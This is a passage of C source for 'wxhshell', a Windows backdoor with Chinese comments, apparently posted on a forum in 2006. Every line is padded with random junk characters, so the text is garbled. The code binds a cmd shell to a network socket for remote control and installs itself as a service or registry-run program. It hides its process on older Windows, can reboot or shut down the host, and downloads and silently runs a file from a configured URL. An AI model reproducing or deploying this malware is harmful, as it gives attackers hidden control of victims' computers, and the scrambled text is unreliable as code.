    switch(cmd[0]) { c{'$=lR "  
  dxzvPgi?  
  // 帮助 Ht`<XbQ>  
  case '?': {  ESC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oTq%wi6 _  
    break; _qC+'RE3  
  } i#L6UKe:Q  
  // 安装 sow bg<D  
  case 'i': { {&\J)oZ  
    if(Install()) |uQn|"U4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~=`f]IL  
    else =gMaaGg p,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jGk7=}nw  
    break; fap|SMGt  
    } 8eOl@}bV  
  // 卸载 >%iu!H"  
  case 'r': { cOzg/~\1  
    if(Uninstall()) t Y:G54d=_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE7+rBa  
    else r\A@&5#q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3gxf~$)?  
    break; .K $p`WQ{  
    } M,b<B_$  
  // 显示 wxhshell 所在路径 E0sbU<11  
  case 'p': { ]}nu9z<  
    char svExeFile[MAX_PATH]; W@:^aH  
    strcpy(svExeFile,"\n\r"); :@:g*w2K  
      strcat(svExeFile,ExeFile); 2LCc  
        send(wsh,svExeFile,strlen(svExeFile),0); =1gDjF9|  
    break; 2"T8^r|U  
    } y,'FTP9?  
  // 重启 ::p-9F  
  case 'b': { euRCBzc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fs wZM\@  
    if(Boot(REBOOT)) (P2[5d|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$HHaoo g  
    else { -(6eVI  
    closesocket(wsh); cj$,ob&DX  
    ExitThread(0); re7!p(W?,  
    } R!sNg   
    break; V8-4>H}Cb/  
    } &(lMm)  
  // 关机 *}+R{  
  case 'd': { slu$2-H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S/a/1 n$ U  
    if(Boot(SHUTDOWN)) ' " Bex`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3wV86tH%  
    else { }phz7N9  
    closesocket(wsh); #uQrJh1o8  
    ExitThread(0); OpYmTep#T\  
    } ri_P;#lz  
    break; f&K}IM8& #  
    } )$MS 0[?  
  // 获取shell kJ/+IGV^v  
  case 's': { aLV~|$: 2  
    CmdShell(wsh); RwUW;hU  
    closesocket(wsh); ?A|zRj{  
    ExitThread(0); O:2 #_  
    break; rU],J!LF  
  } 7}gA0fP9  
  // 退出 O\%j56Bf  
  case 'x': { {PL,VY)Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X>2? `8M  
    CloseIt(wsh); r Z pbu>S  
    break; JW-|<CJ  
    }  X@cSP7b  
  // 离开 anLbl#UV  
  case 'q': { B .El a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wI*Y{J  
    closesocket(wsh); %z=`JhE"Q  
    WSACleanup(); <8$Md4r  
    exit(1); c$/<l5Uw  
    break; o94P I*.  
        } Il|GCj*N  
  } _<XgC\4O|  
  } STw oYn  
:u AjV  
  // 提示信息 ATo}FL 2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $]Jf0_  
} Ny]lvgu9X  
  } {QMN=O&n  
gUspGsfr  
  return; >n(F4C-pl  
} pVY4q0@  
=ydpU<aS  
// shell模块句柄 RTZ:U@  
int CmdShell(SOCKET sock) &h\7^=s.  
{ &eU3(F`.  
STARTUPINFO si; * ]>])ms)  
ZeroMemory(&si,sizeof(si)); ~C0 Pu.{o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (N7O+3+G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vABXXB  
PROCESS_INFORMATION ProcessInfo; #.o0mguU  
char cmdline[]="cmd"; p x0Sy|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6oYIQ'hc  
  return 0; g(nK$,c  
} G#|Hu;C6"  
+3)[> {~1Z  
// 自身启动模式 4'` C1a  
int StartFromService(void) 4aA9\\hfGY  
{ u|T%Xy=LU  
typedef struct ;KL9oV!<f  
{ YlrB@mE0n$  
  DWORD ExitStatus; xuF5/(__  
  DWORD PebBaseAddress; q1jN]H  
  DWORD AffinityMask; 1!d)PK>1$  
  DWORD BasePriority; W\%q} q2?  
  ULONG UniqueProcessId; T30Zk*V  
  ULONG InheritedFromUniqueProcessId; =E!x~S;N  
}   PROCESS_BASIC_INFORMATION; lf6|.  
 tq0;^L  
PROCNTQSIP NtQueryInformationProcess; TH YVT%v  
6W$rY] h!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b#A(*a_gN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uS&LG#a  
Hk~k@Wft  
  HANDLE             hProcess; H}B2A"  
  PROCESS_BASIC_INFORMATION pbi; z|Ap\[GS  
M}u1qXa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EDtCNqBS~2  
  if(NULL == hInst ) return 0; 4 A5t*e  
rpSr^slr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5y040 N-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >gnF]<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #cO+<1  
=&N$Vqn  
  if (!NtQueryInformationProcess) return 0; x^X$M$o,l  
&kiF/F 1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s%^o*LQ|9  
  if(!hProcess) return 0; d+Ds9(gV  
xG8`'SNY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  cLAe sj  
4~Dax)  
  CloseHandle(hProcess); Nq_A8Ph9  
gvGi %gq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -~\f2'Q  
if(hProcess==NULL) return 0; WcU@~05b  
wA631kr  
HMODULE hMod; 2kVp_=c  
char procName[255]; Mc:b U  
unsigned long cbNeeded; |AC6sfA+  
KJdz v!l=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &wb9_? ir-  
Je@kiE  
  CloseHandle(hProcess); L1{T ?aII  
pqH4w(;  
if(strstr(procName,"services")) return 1; // 以服务启动 f1J %]g!  
_Z.cMYN  
  return 0; // 注册表启动 =zOe b/  
} LN\[Tmd &  
T/NjNEd#  
// 主模块 Oy%Im8.-A#  
int StartWxhshell(LPSTR lpCmdLine) r :NH6tAL  
{ l]) Q.m  
  SOCKET wsl; hiN/S|JN8y  
BOOL val=TRUE; T .hb#oO  
  int port=0; cQn)^jx=  
  struct sockaddr_in door; FT( iX `YQ  
JhJLqb@q  
  if(wscfg.ws_autoins) Install(); 9n 6fXOC  
`.8UKSH+  
port=atoi(lpCmdLine); fhr-Y'  
8U=A{{0p  
if(port<=0) port=wscfg.ws_port; ;'^, ,{  
i. M2E$b|  
  WSADATA data; :".w{0l@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "{ FoA3g|  
a_{6Qdl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   auL^%M|$R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c3#q0Ma  
  door.sin_family = AF_INET; {R8=}Qo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >A=\8`T^  
  door.sin_port = htons(port); vI|As+`$d  
I7zn>^0}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /WYh[XKe  
closesocket(wsl); ZF'HM@cfo  
return 1; 0m&3?"5u  
} {(Fe7,.S3  
gc,Ps  
  if(listen(wsl,2) == INVALID_SOCKET) { u w"*zBxl  
closesocket(wsl); Up|f=@=  
return 1; c{4R*|^  
} 3\+N`!  
  Wxhshell(wsl); CL1 ;Inzl  
  WSACleanup(); $:;%bjSI  
|7c `(.  
return 0; )5GQJiY  
TVeJ6  
} v|&s4x?D  
~!] m6/  
// 以NT服务方式启动 '\t7jQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^Plc}W7h  
{ t 7^D-l  
DWORD   status = 0; u]bz42]  
  DWORD   specificError = 0xfffffff; eXG57<t ON  
(}jL_E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }NwN2xTB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K(3&27sGN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _l T0H u  
  serviceStatus.dwWin32ExitCode     = 0; ERC<Dd0  
  serviceStatus.dwServiceSpecificExitCode = 0; /buWAX 1  
  serviceStatus.dwCheckPoint       = 0; |_nC6 ;  
  serviceStatus.dwWaitHint       = 0; (}"S) #C  
c,$mWTC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e1uMR-Q  
  if (hServiceStatusHandle==0) return; } # Xi`<{  
5Eal1Qu  
status = GetLastError(); Hg whe=P  
  if (status!=NO_ERROR) Ux_<d?p  
{ h>W@U9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `xIh\q  
    serviceStatus.dwCheckPoint       = 0; GoD ?KC  
    serviceStatus.dwWaitHint       = 0; [#Fg\2bq_y  
    serviceStatus.dwWin32ExitCode     = status; l&|)O6N  
    serviceStatus.dwServiceSpecificExitCode = specificError; xlw 2g<s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JY@X2'>v/  
    return; ohsH2]C  
  } ]QS](BbD:  
-|[~sj-p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^aptLJF  
  serviceStatus.dwCheckPoint       = 0; f3t. T=S  
  serviceStatus.dwWaitHint       = 0; 7E(%9W6P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m}pL`:e!  
} rhoeZ  
 #>bT<  
// 处理NT服务事件,比如:启动、停止 +5-fk>o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9[sG1eP!  
{ S.hC$0vrj  
switch(fdwControl) 9GPb$ gtx  
{ 6w!e?B2/%  
case SERVICE_CONTROL_STOP: !qaDn.9  
  serviceStatus.dwWin32ExitCode = 0; $}4K`Iu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L$}g3{  
  serviceStatus.dwCheckPoint   = 0; 4|F#gK5E  
  serviceStatus.dwWaitHint     = 0; u<kD}  
  { `M)E*G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \k4pK &b  
  } 5qiI.)  
  return; .+vd6Uc5a  
case SERVICE_CONTROL_PAUSE: c _mq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T<M?PlED  
  break; xD0NZ~w%  
case SERVICE_CONTROL_CONTINUE: ~<eVl l=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -ek1$y9)  
  break; (H1lqlVWV#  
case SERVICE_CONTROL_INTERROGATE: _uJVuCc  
  break; Aqu]9M~  
}; phS>T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '=@r7g.2  
} LfllO  
+;6)  
// 标准应用程序主函数 yLB~P7K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8T7f[?  
{ 6g|#ho1Bbs  
C Oa.xyp  
// 获取操作系统版本 J&_3VKrN  
OsIsNt=GetOsVer(); 8 ?" Ze(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wvb Eh|y  
UM`nq;>  
  // 从命令行安装 ~$*`cO  
  if(strpbrk(lpCmdLine,"iI")) Install(); fCr\u6Tb  
KK$ a;/  
  // 下载执行文件 !%wdn33"  
if(wscfg.ws_downexe) { m r2S!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .?Auh2nr  
  WinExec(wscfg.ws_filenam,SW_HIDE); /sV?JV[t  
} b"&E,=L  
Ju4.@  
if(!OsIsNt) { lvx]jd\  
// 如果时win9x,隐藏进程并且设置为注册表启动 )^";BVY  
HideProc(); p_9g|B0D  
StartWxhshell(lpCmdLine); 7$#rNYa,z  
} s,kU*kHn  
else j9>TTgy@  
  if(StartFromService()) *.3y2m,bZ  
  // 以服务方式启动 D>Ua#<52q  
  StartServiceCtrlDispatcher(DispatchTable); ?CFoe$M  
else Uh%6LPg^  
  // 普通方式启动 2md.S$V$,  
  StartWxhshell(lpCmdLine); E9L!)D]Y  
EU9[F b]  
return 0; *73AAA5LKa  
}
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只看该作者 1 发表于: 2006-10-10
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